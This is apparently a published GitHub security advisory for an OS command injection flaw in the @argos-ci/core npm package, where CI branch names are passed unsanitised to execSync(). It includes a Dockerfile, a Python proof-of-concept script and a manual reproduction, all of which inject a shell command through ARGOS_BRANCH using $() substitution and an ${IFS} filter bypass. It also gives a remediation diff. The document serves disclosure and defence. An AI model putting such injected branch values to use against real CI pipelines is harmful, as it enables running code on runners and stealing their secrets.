GHSA-4X45-GXVP-6283
Vulnerability from github – Published: 2026-09-10 22:34 – Updated: 2026-09-10 22:34CI Branch Name OS Command Injection in @argos-ci/core
Summary
@argos-ci/core@6.2.0 passes attacker-controlled CI branch/ref strings directly into an execSync() template literal in packages/core/src/ci-environment/git.ts:89. When a CI project has hasRemoteContentAccess: false, the Argos upload flow calls getMergeBaseCommitSha(), which invokes gitFetch() with the unsanitized branch name. Because execSync() passes the command string to /bin/sh -c, shell metacharacters such as $() command substitution are evaluated before git runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).
Details
The vulnerable sink is in packages/core/src/ci-environment/git.ts:87-90:
function gitFetch(input: { ref: string; depth: number; target: string }) {
execSync(
`git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
);
}
execSync() with a template-literal string invokes /bin/sh -c "<command>". The shell expands $(), backticks, ;, and other metacharacters before spawning git, so any special characters present in input.ref or input.target are interpreted as shell instructions.
A secondary sink exists at packages/core/src/ci-environment/git.ts:67:
execSync(`git merge-base ${input.head} ${input.base}`)
Complete data flow (source → sink):
packages/core/src/ci-environment/services/github-actions.ts:104— readsenv.GITHUB_HEAD_REFwithout validation (source).packages/core/src/ci-environment/services/github-actions.ts:165— returns the branch from the CI context.packages/core/src/ci-environment/services/github-actions.ts:330— stores the value asbranch.packages/core/src/config.ts:119-123— loadsciEnv?.branchintoconfig.branch; onlyformat: Stringis applied, no sanitization.packages/core/src/upload.ts:285— callsgetMergeBaseCommitSha({ base, head: config.branch })when the API returnshasRemoteContentAccess: false.packages/core/src/ci-environment/git.ts:123— passes attacker-controlled value asreftogitFetch().packages/core/src/ci-environment/git.ts:89— sink:execSync(git fetch ... origin ${input.ref}:${input.target}).
There is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.
Recommended remediation — replace template-literal execSync calls with execFileSync using argument arrays, which bypass the shell entirely:
-import { execSync } from "node:child_process";
+import { execFileSync, execSync } from "node:child_process";
function gitFetch(input: { ref: string; depth: number; target: string }) {
- execSync(
- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,
- );
+ execFileSync("git", [
+ "fetch", "--force", "--update-head-ok",
+ "--depth", String(input.depth),
+ "origin", `${input.ref}:${input.target}`,
+ ]);
}
function gitMergeBase(input: { base: string; head: string }) {
- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();
+ return execFileSync("git", ["merge-base", input.head, input.base], { encoding: "utf8" }).trim();
}
PoC
Prerequisites:
- Docker installed on the test machine.
- Internet access to pull node:22 and install @argos-ci/cli@5.0.5 from npm.
Step 1 — Build the Docker image:
docker build -t argos-vuln-001 \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/npmAI_634_argos-ci__argos-javascript/
The Dockerfile:
- Uses node:22 as the base.
- Creates a local bare git repository at /remote.git and a working repository at /git-workspace with that bare repo as origin, so git fetch has a reachable remote.
- Installs @argos-ci/cli@5.1.0 (which depends on @argos-ci/core@6.2.0) globally from the public npm registry.
- Copies poc.py as the container entrypoint.
Step 2 — Run the container:
docker run --rm argos-vuln-001
What the PoC (poc.py) does:
- Starts a local HTTP mock server on
127.0.0.1:7777that returns{"hasRemoteContentAccess": false}forGET /v2/project, activating thegetMergeBaseCommitSha()code path. - Sets
ARGOS_BRANCHtomain$(touch${IFS}/tmp/argos-ci-cve-poc). $(...)is shell command substitution.${IFS}expands to a space character, bypassing naive space-based filters, making the injected commandtouch /tmp/argos-ci-cve-poc.- Runs
argos upload <empty-dir> --files '*.png'with the malicious environment. - Checks for the marker file
/tmp/argos-ci-cve-poc.
Expected output:
============================================================
[PASS] VULNERABILITY CONFIRMED
[PASS] Marker file exists: /tmp/argos-ci-cve-poc
[PASS] The shell command injected via ARGOS_BRANCH was executed
[PASS] by execSync() inside gitFetch() (git.ts:88-90).
============================================================
The marker file is created before git connects to the remote because the shell evaluates $() during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.
Manual reproduction (without Docker):
mkdir -p /tmp/argos-poc && cd /tmp/argos-poc
git init && git remote add origin https://github.com/argos-ci/argos-javascript.git
# Start a minimal mock API server (background)
node -e "
const http = require('http');
http.createServer((req, res) => {
if (req.url === '/v2/project') {
res.writeHead(200, {'content-type':'application/json'});
res.end(JSON.stringify({defaultBaseBranch:'main', hasRemoteContentAccess:false}));
return;
}
res.writeHead(200, {'content-type':'application/json'});
res.end('{}');
}).listen(7777);
" &
mkdir empty
rm -f /tmp/argos-ci-cve-poc
ARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \
ARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \
ARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \
ARGOS_BRANCH='main$(touch${IFS}/tmp/argos-ci-cve-poc)' \
npx -y @argos-ci/cli@5.0.5 upload empty --files '*.png' || true
test -f /tmp/argos-ci-cve-poc && echo "COMMAND_EXECUTED"
Impact
This is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos — for example, by opening a pull request with a crafted branch name, or by controlling the GITHUB_HEAD_REF / ARGOS_BRANCH environment variable — can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.
Who is impacted:
- Any organization using
@argos-ci/core(or the CLI@argos-ci/cli) in a CI pipeline where the project's Argos configuration hashasRemoteContentAccess: false. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users. - The risk is highest in
pull_request_targetor other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks. - Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.
Reproduction artifacts
Dockerfile
FROM node:22
# Install git and Python 3
RUN apt-get update && \
apt-get install -y --no-install-recommends git python3 && \
rm -rf /var/lib/apt/lists/*
# Configure git identity for commits inside the container
RUN git config --global user.email "poc@test.local" && \
git config --global user.name "PoC Test" && \
git config --global init.defaultBranch main
# Create a local bare repository that acts as the "origin" remote.
# This lets git fetch succeed (reaching a real remote is not required for the
# injection -- the shell expands $() before git connects -- but a working
# remote means getMergeBaseCommitSha() returns a real SHA and the full
# upload code-path is exercised without extra noise from git errors.)
RUN git init --bare /remote.git
# Create the working repository with the bare repo as origin
RUN git init /git-workspace && \
cd /git-workspace && \
git remote add origin /remote.git && \
echo "initial" > README.md && \
git add README.md && \
git commit -m "Initial commit" && \
git branch -M main && \
git push -u origin main
# Copy the cloned repository source for reference / source evidence.
# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.
COPY repo /argos-repo
# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)
# from the public npm registry -- same version as the cloned repository.
RUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn
# Copy the Python PoC script
COPY vuln-001/poc.py /poc.py
# Run from inside the git workspace so that git commands find the correct repo
WORKDIR /git-workspace
ENTRYPOINT ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0
Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90
The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal. Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.
Attack chain (source -> sink):
env.GITHUB_HEAD_REF / ARGOS_BRANCH
-> config.ts:119-122 (String cast, no sanitisation)
-> upload.ts:285 getMergeBaseCommitSha({ head: config.branch })
-> git.ts:123 gitFetch({ ref: input.head, ... })
-> git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)
^^^^^^^^ shell injection sink
This script:
1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
containing a $() command substitution.
3. Checks for a filesystem artefact that proves execution.
"""
import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"
# Port for the mock Argos API server.
MOCK_PORT = 7777
class MockArgosAPI(BaseHTTPRequestHandler):
"""Minimal mock of the Argos REST API.
Only two responses matter:
- GET /v2/project -- must return hasRemoteContentAccess=false to trigger
the git-based merge-base discovery code-path.
- POST /v2/builds -- needs to return a recognisable structure so the SDK
does not abort before we can observe the side-effect.
"""
def log_message(self, fmt, *args):
# Suppress per-request log noise; PoC progress messages are enough.
pass
def _send_json(self, status: int, body: dict) -> None:
raw = json.dumps(body).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(raw)))
self.end_headers()
self.wfile.write(raw)
def do_GET(self):
if self.path.rstrip("/") == "/v2/project":
# hasRemoteContentAccess=false is the precondition that makes the
# SDK call getMergeBaseCommitSha() instead of fetching from the
# Git provider API. This is the key to reaching the sink.
self._send_json(200, {
"id": "proj-1",
"defaultBaseBranch": "main",
"hasRemoteContentAccess": False,
})
else:
self._send_json(200, {})
def do_POST(self):
# Drain request body to keep the connection clean.
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
if "/builds" in self.path:
# Return the minimal structure the SDK dereferences after POST /builds.
self._send_json(201, {
"id": "build-1",
"url": "http://localhost/build/1",
"screenshots": [],
"pwTraces": [],
})
else:
self._send_json(200, {})
def do_PUT(self):
length = int(self.headers.get("Content-Length", 0))
self.rfile.read(length)
self._send_json(200, {})
def start_mock_server() -> HTTPServer:
server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
return server
def main():
print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
print()
# Remove any stale marker from a previous run.
if os.path.exists(MARKER_FILE):
os.remove(MARKER_FILE)
# Start the mock Argos API.
server = start_mock_server()
print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")
# Build the malicious branch name.
# Breakdown:
# main -- valid branch prefix so git ref looks plausible
# $(...) -- shell command substitution, evaluated by /bin/sh
# touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
# filters and forming "touch <path>"
malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
print()
# Empty upload directory -- no real screenshots needed. The injection
# occurs during merge-base discovery before any upload loop runs.
upload_dir = "/tmp/argos-empty-upload"
os.makedirs(upload_dir, exist_ok=True)
env = dict(os.environ)
env.update({
"ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
"ARGOS_TOKEN": "a" * 40,
"ARGOS_COMMIT": "0" * 40,
"ARGOS_BRANCH": malicious_branch,
# Disable update-notifier noise inside the CLI.
"NO_UPDATE_NOTIFIER": "1",
})
print("[*] Running: argos upload <empty-dir> --files '*.png'")
result = subprocess.run(
["argos", "upload", upload_dir, "--files", "*.png"],
env=env,
capture_output=True,
text=True,
# CWD must be a git repository with an 'origin' remote so that
# git fetch has a valid context. /git-workspace is prepared in the
# Dockerfile for this purpose.
cwd="/git-workspace",
)
print(f"[*] CLI exit code : {result.returncode}")
if result.stdout.strip():
print(f"[*] CLI stdout : {result.stdout.strip()[:600]}")
if result.stderr.strip():
print(f"[*] CLI stderr : {result.stderr.strip()[:600]}")
server.shutdown()
print()
# --- Verdict ---
if os.path.exists(MARKER_FILE):
print("=" * 60)
print("[PASS] VULNERABILITY CONFIRMED")
print(f"[PASS] Marker file exists: {MARKER_FILE}")
print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
print("=" * 60)
sys.exit(0)
else:
print("=" * 60)
print("[FAIL] Marker file not found -- injection did not trigger.")
print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
print("=" * 60)
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.0"
},
"package": {
"ecosystem": "npm",
"name": "@argos-ci/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59960"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T22:34:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## CI Branch Name OS Command Injection in @argos-ci/core\n\n### Summary\n\n`@argos-ci/core@6.2.0` passes attacker-controlled CI branch/ref strings directly into an `execSync()` template literal in `packages/core/src/ci-environment/git.ts:89`. When a CI project has `hasRemoteContentAccess: false`, the Argos upload flow calls `getMergeBaseCommitSha()`, which invokes `gitFetch()` with the unsanitized branch name. Because `execSync()` passes the command string to `/bin/sh -c`, shell metacharacters such as `$()` command substitution are evaluated before `git` runs, enabling an attacker who can influence the branch name (e.g., via a pull request) to execute arbitrary OS commands on the CI runner. CVSS Base Score: 7.5 (High).\n\n### Details\n\nThe vulnerable sink is in `packages/core/src/ci-environment/git.ts:87-90`:\n\n```ts\nfunction gitFetch(input: { ref: string; depth: number; target: string }) {\n execSync(\n `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,\n );\n}\n```\n\n`execSync()` with a template-literal string invokes `/bin/sh -c \"\u003ccommand\u003e\"`. The shell expands `$()`, backticks, `;`, and other metacharacters before spawning `git`, so any special characters present in `input.ref` or `input.target` are interpreted as shell instructions.\n\nA secondary sink exists at `packages/core/src/ci-environment/git.ts:67`:\n\n```ts\nexecSync(`git merge-base ${input.head} ${input.base}`)\n```\n\n**Complete data flow (source \u2192 sink):**\n\n1. `packages/core/src/ci-environment/services/github-actions.ts:104` \u2014 reads `env.GITHUB_HEAD_REF` without validation (source).\n2. `packages/core/src/ci-environment/services/github-actions.ts:165` \u2014 returns the branch from the CI context.\n3. `packages/core/src/ci-environment/services/github-actions.ts:330` \u2014 stores the value as `branch`.\n4. `packages/core/src/config.ts:119-123` \u2014 loads `ciEnv?.branch` into `config.branch`; only `format: String` is applied, no sanitization.\n5. `packages/core/src/upload.ts:285` \u2014 calls `getMergeBaseCommitSha({ base, head: config.branch })` when the API returns `hasRemoteContentAccess: false`.\n6. `packages/core/src/ci-environment/git.ts:123` \u2014 passes attacker-controlled value as `ref` to `gitFetch()`.\n7. `packages/core/src/ci-environment/git.ts:89` \u2014 **sink**: `execSync(` git fetch ... origin ${input.ref}:${input.target} `)`.\n\nThere is no allowlist, regex, or shell-escaping applied to the branch string at any point in the chain.\n\n**Recommended remediation** \u2014 replace template-literal `execSync` calls with `execFileSync` using argument arrays, which bypass the shell entirely:\n\n```diff\n-import { execSync } from \"node:child_process\";\n+import { execFileSync, execSync } from \"node:child_process\";\n\n function gitFetch(input: { ref: string; depth: number; target: string }) {\n- execSync(\n- `git fetch --force --update-head-ok --depth ${input.depth} origin ${input.ref}:${input.target}`,\n- );\n+ execFileSync(\"git\", [\n+ \"fetch\", \"--force\", \"--update-head-ok\",\n+ \"--depth\", String(input.depth),\n+ \"origin\", `${input.ref}:${input.target}`,\n+ ]);\n }\n\n function gitMergeBase(input: { base: string; head: string }) {\n- return execSync(`git merge-base ${input.head} ${input.base}`).toString().trim();\n+ return execFileSync(\"git\", [\"merge-base\", input.head, input.base], { encoding: \"utf8\" }).trim();\n }\n```\n\n### PoC\n\n**Prerequisites:**\n- Docker installed on the test machine.\n- Internet access to pull `node:22` and install `@argos-ci/cli@5.0.5` from npm.\n\n**Step 1 \u2014 Build the Docker image:**\n\n```bash\ndocker build -t argos-vuln-001 \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/reports/npmAI_634_argos-ci__argos-javascript/\n```\n\nThe `Dockerfile`:\n- Uses `node:22` as the base.\n- Creates a local bare git repository at `/remote.git` and a working repository at `/git-workspace` with that bare repo as `origin`, so `git fetch` has a reachable remote.\n- Installs `@argos-ci/cli@5.1.0` (which depends on `@argos-ci/core@6.2.0`) globally from the public npm registry.\n- Copies `poc.py` as the container entrypoint.\n\n**Step 2 \u2014 Run the container:**\n\n```bash\ndocker run --rm argos-vuln-001\n```\n\n**What the PoC (`poc.py`) does:**\n\n1. Starts a local HTTP mock server on `127.0.0.1:7777` that returns `{\"hasRemoteContentAccess\": false}` for `GET /v2/project`, activating the `getMergeBaseCommitSha()` code path.\n2. Sets `ARGOS_BRANCH` to `main$(touch${IFS}/tmp/argos-ci-cve-poc)`. \n - `$(...)` is shell command substitution. \n - `${IFS}` expands to a space character, bypassing naive space-based filters, making the injected command `touch /tmp/argos-ci-cve-poc`.\n3. Runs `argos upload \u003cempty-dir\u003e --files \u0027*.png\u0027` with the malicious environment.\n4. Checks for the marker file `/tmp/argos-ci-cve-poc`.\n\n**Expected output:**\n\n```\n============================================================\n[PASS] VULNERABILITY CONFIRMED\n[PASS] Marker file exists: /tmp/argos-ci-cve-poc\n[PASS] The shell command injected via ARGOS_BRANCH was executed\n[PASS] by execSync() inside gitFetch() (git.ts:88-90).\n============================================================\n```\n\nThe marker file is created *before* `git` connects to the remote because the shell evaluates `$()` during command string construction. The CLI exits with a non-zero code later (due to mock API incomplete stubs), but the injection has already succeeded.\n\n**Manual reproduction (without Docker):**\n\n```bash\nmkdir -p /tmp/argos-poc \u0026\u0026 cd /tmp/argos-poc\ngit init \u0026\u0026 git remote add origin https://github.com/argos-ci/argos-javascript.git\n\n# Start a minimal mock API server (background)\nnode -e \"\nconst http = require(\u0027http\u0027);\nhttp.createServer((req, res) =\u003e {\n if (req.url === \u0027/v2/project\u0027) {\n res.writeHead(200, {\u0027content-type\u0027:\u0027application/json\u0027});\n res.end(JSON.stringify({defaultBaseBranch:\u0027main\u0027, hasRemoteContentAccess:false}));\n return;\n }\n res.writeHead(200, {\u0027content-type\u0027:\u0027application/json\u0027});\n res.end(\u0027{}\u0027);\n}).listen(7777);\n\" \u0026\n\nmkdir empty\nrm -f /tmp/argos-ci-cve-poc\nARGOS_API_BASE_URL=http://127.0.0.1:7777/v2/ \\\nARGOS_TOKEN=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \\\nARGOS_COMMIT=0123456789abcdef0123456789abcdef01234567 \\\nARGOS_BRANCH=\u0027main$(touch${IFS}/tmp/argos-ci-cve-poc)\u0027 \\\nnpx -y @argos-ci/cli@5.0.5 upload empty --files \u0027*.png\u0027 || true\n\ntest -f /tmp/argos-ci-cve-poc \u0026\u0026 echo \"COMMAND_EXECUTED\"\n```\n\n### Impact\n\nThis is an OS Command Injection vulnerability (CWE-78). An attacker who can influence the branch or ref name used by a CI pipeline running Argos \u2014 for example, by opening a pull request with a crafted branch name, or by controlling the `GITHUB_HEAD_REF` / `ARGOS_BRANCH` environment variable \u2014 can execute arbitrary shell commands on the CI runner with the same privileges as the Argos upload process.\n\n**Who is impacted:**\n\n- Any organization using `@argos-ci/core` (or the CLI `@argos-ci/cli`) in a CI pipeline where the project\u0027s Argos configuration has `hasRemoteContentAccess: false`. This configuration is the default for projects that have not connected a Git provider integration, covering a significant portion of Argos users.\n- The risk is highest in `pull_request_target` or other privileged CI workflow patterns where the workflow runs with repository secrets but also processes attacker-supplied branch names from forks.\n- Successful exploitation can lead to: exfiltration of CI secrets (tokens, API keys, cloud credentials), supply-chain compromise of build artifacts, lateral movement within CI infrastructure, and full compromise of the CI runner environment.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22\n\n# Install git and Python 3\nRUN apt-get update \u0026\u0026 \\\n apt-get install -y --no-install-recommends git python3 \u0026\u0026 \\\n rm -rf /var/lib/apt/lists/*\n\n# Configure git identity for commits inside the container\nRUN git config --global user.email \"poc@test.local\" \u0026\u0026 \\\n git config --global user.name \"PoC Test\" \u0026\u0026 \\\n git config --global init.defaultBranch main\n\n# Create a local bare repository that acts as the \"origin\" remote.\n# This lets git fetch succeed (reaching a real remote is not required for the\n# injection -- the shell expands $() before git connects -- but a working\n# remote means getMergeBaseCommitSha() returns a real SHA and the full\n# upload code-path is exercised without extra noise from git errors.)\nRUN git init --bare /remote.git\n\n# Create the working repository with the bare repo as origin\nRUN git init /git-workspace \u0026\u0026 \\\n cd /git-workspace \u0026\u0026 \\\n git remote add origin /remote.git \u0026\u0026 \\\n echo \"initial\" \u003e README.md \u0026\u0026 \\\n git add README.md \u0026\u0026 \\\n git commit -m \"Initial commit\" \u0026\u0026 \\\n git branch -M main \u0026\u0026 \\\n git push -u origin main\n\n# Copy the cloned repository source for reference / source evidence.\n# The vulnerable code lives in packages/core/src/ci-environment/git.ts:87-90.\nCOPY repo /argos-repo\n\n# Install the vulnerable @argos-ci/cli@5.1.0 (depends on @argos-ci/core@6.2.0)\n# from the public npm registry -- same version as the cloned repository.\nRUN npm install -g @argos-ci/cli@5.1.0 --loglevel=warn\n\n# Copy the Python PoC script\nCOPY vuln-001/poc.py /poc.py\n\n# Run from inside the git workspace so that git commands find the correct repo\nWORKDIR /git-workspace\n\nENTRYPOINT [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0\n\nVulnerability: CWE-78 (OS Command Injection)\nAffected file: packages/core/src/ci-environment/git.ts:87-90\n\nThe gitFetch() function passes user-controlled ref strings directly into an\nexecSync() template literal. Node.js execSync() invokes /bin/sh -c \"...\", so\nshell metacharacters in the string -- including $() command substitution --\nare evaluated before git runs.\n\nAttack chain (source -\u003e sink):\n env.GITHUB_HEAD_REF / ARGOS_BRANCH\n -\u003e config.ts:119-122 (String cast, no sanitisation)\n -\u003e upload.ts:285 getMergeBaseCommitSha({ head: config.branch })\n -\u003e git.ts:123 gitFetch({ ref: input.head, ... })\n -\u003e git.ts:89 execSync(`git fetch ... origin ${input.ref}:${input.target}`)\n ^^^^^^^^ shell injection sink\n\nThis script:\n 1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false\n for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.\n 2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value\n containing a $() command substitution.\n 3. Checks for a filesystem artefact that proves execution.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# File created by the injected command -- its existence proves execution.\nMARKER_FILE = \"/tmp/argos-ci-cve-poc\"\n\n# Port for the mock Argos API server.\nMOCK_PORT = 7777\n\n\nclass MockArgosAPI(BaseHTTPRequestHandler):\n \"\"\"Minimal mock of the Argos REST API.\n\n Only two responses matter:\n - GET /v2/project -- must return hasRemoteContentAccess=false to trigger\n the git-based merge-base discovery code-path.\n - POST /v2/builds -- needs to return a recognisable structure so the SDK\n does not abort before we can observe the side-effect.\n \"\"\"\n\n def log_message(self, fmt, *args):\n # Suppress per-request log noise; PoC progress messages are enough.\n pass\n\n def _send_json(self, status: int, body: dict) -\u003e None:\n raw = json.dumps(body).encode()\n self.send_response(status)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(raw)))\n self.end_headers()\n self.wfile.write(raw)\n\n def do_GET(self):\n if self.path.rstrip(\"/\") == \"/v2/project\":\n # hasRemoteContentAccess=false is the precondition that makes the\n # SDK call getMergeBaseCommitSha() instead of fetching from the\n # Git provider API. This is the key to reaching the sink.\n self._send_json(200, {\n \"id\": \"proj-1\",\n \"defaultBaseBranch\": \"main\",\n \"hasRemoteContentAccess\": False,\n })\n else:\n self._send_json(200, {})\n\n def do_POST(self):\n # Drain request body to keep the connection clean.\n length = int(self.headers.get(\"Content-Length\", 0))\n self.rfile.read(length)\n if \"/builds\" in self.path:\n # Return the minimal structure the SDK dereferences after POST /builds.\n self._send_json(201, {\n \"id\": \"build-1\",\n \"url\": \"http://localhost/build/1\",\n \"screenshots\": [],\n \"pwTraces\": [],\n })\n else:\n self._send_json(200, {})\n\n def do_PUT(self):\n length = int(self.headers.get(\"Content-Length\", 0))\n self.rfile.read(length)\n self._send_json(200, {})\n\n\ndef start_mock_server() -\u003e HTTPServer:\n server = HTTPServer((\"127.0.0.1\", MOCK_PORT), MockArgosAPI)\n thread = threading.Thread(target=server.serve_forever, daemon=True)\n thread.start()\n return server\n\n\ndef main():\n print(\"[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection\")\n print(\"[*] Source sink: packages/core/src/ci-environment/git.ts:87-90\")\n print()\n\n # Remove any stale marker from a previous run.\n if os.path.exists(MARKER_FILE):\n os.remove(MARKER_FILE)\n\n # Start the mock Argos API.\n server = start_mock_server()\n print(f\"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}\")\n\n # Build the malicious branch name.\n # Breakdown:\n # main -- valid branch prefix so git ref looks plausible\n # $(...) -- shell command substitution, evaluated by /bin/sh\n # touch${IFS}\u003cpath\u003e -- ${IFS} expands to a space, bypassing naive space\n # filters and forming \"touch \u003cpath\u003e\"\n malicious_branch = f\"main$(touch${{IFS}}{MARKER_FILE})\"\n print(f\"[*] Malicious ARGOS_BRANCH value: {malicious_branch}\")\n print(f\"[*] Expected shell expansion: touch {MARKER_FILE}\")\n print()\n\n # Empty upload directory -- no real screenshots needed. The injection\n # occurs during merge-base discovery before any upload loop runs.\n upload_dir = \"/tmp/argos-empty-upload\"\n os.makedirs(upload_dir, exist_ok=True)\n\n env = dict(os.environ)\n env.update({\n \"ARGOS_API_BASE_URL\": f\"http://127.0.0.1:{MOCK_PORT}/v2/\",\n \"ARGOS_TOKEN\": \"a\" * 40,\n \"ARGOS_COMMIT\": \"0\" * 40,\n \"ARGOS_BRANCH\": malicious_branch,\n # Disable update-notifier noise inside the CLI.\n \"NO_UPDATE_NOTIFIER\": \"1\",\n })\n\n print(\"[*] Running: argos upload \u003cempty-dir\u003e --files \u0027*.png\u0027\")\n result = subprocess.run(\n [\"argos\", \"upload\", upload_dir, \"--files\", \"*.png\"],\n env=env,\n capture_output=True,\n text=True,\n # CWD must be a git repository with an \u0027origin\u0027 remote so that\n # git fetch has a valid context. /git-workspace is prepared in the\n # Dockerfile for this purpose.\n cwd=\"/git-workspace\",\n )\n\n print(f\"[*] CLI exit code : {result.returncode}\")\n if result.stdout.strip():\n print(f\"[*] CLI stdout : {result.stdout.strip()[:600]}\")\n if result.stderr.strip():\n print(f\"[*] CLI stderr : {result.stderr.strip()[:600]}\")\n\n server.shutdown()\n print()\n\n # --- Verdict ---\n if os.path.exists(MARKER_FILE):\n print(\"=\" * 60)\n print(\"[PASS] VULNERABILITY CONFIRMED\")\n print(f\"[PASS] Marker file exists: {MARKER_FILE}\")\n print(\"[PASS] The shell command injected via ARGOS_BRANCH was executed\")\n print(\"[PASS] by execSync() inside gitFetch() (git.ts:88-90).\")\n print(\"=\" * 60)\n sys.exit(0)\n else:\n print(\"=\" * 60)\n print(\"[FAIL] Marker file not found -- injection did not trigger.\")\n print(\"[FAIL] Check that CWD is a git repo with a reachable \u0027origin\u0027.\")\n print(\"[FAIL] Check that the mock server returned hasRemoteContentAccess=false.\")\n print(\"=\" * 60)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-4x45-gxvp-6283",
"modified": "2026-09-10T22:34:17Z",
"published": "2026-09-10T22:34:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argos-ci/argos-javascript/security/advisories/GHSA-4x45-gxvp-6283"
},
{
"type": "WEB",
"url": "https://github.com/argos-ci/argos-javascript/commit/8355f3af3be3f4fe361d58a688d21535cf672717"
},
{
"type": "PACKAGE",
"url": "https://github.com/argos-ci/argos-javascript"
},
{
"type": "WEB",
"url": "https://github.com/argos-ci/argos-javascript/releases/tag/@argos-ci/core@6.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@argos-ci/core: CI Branch Name OS Command Injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.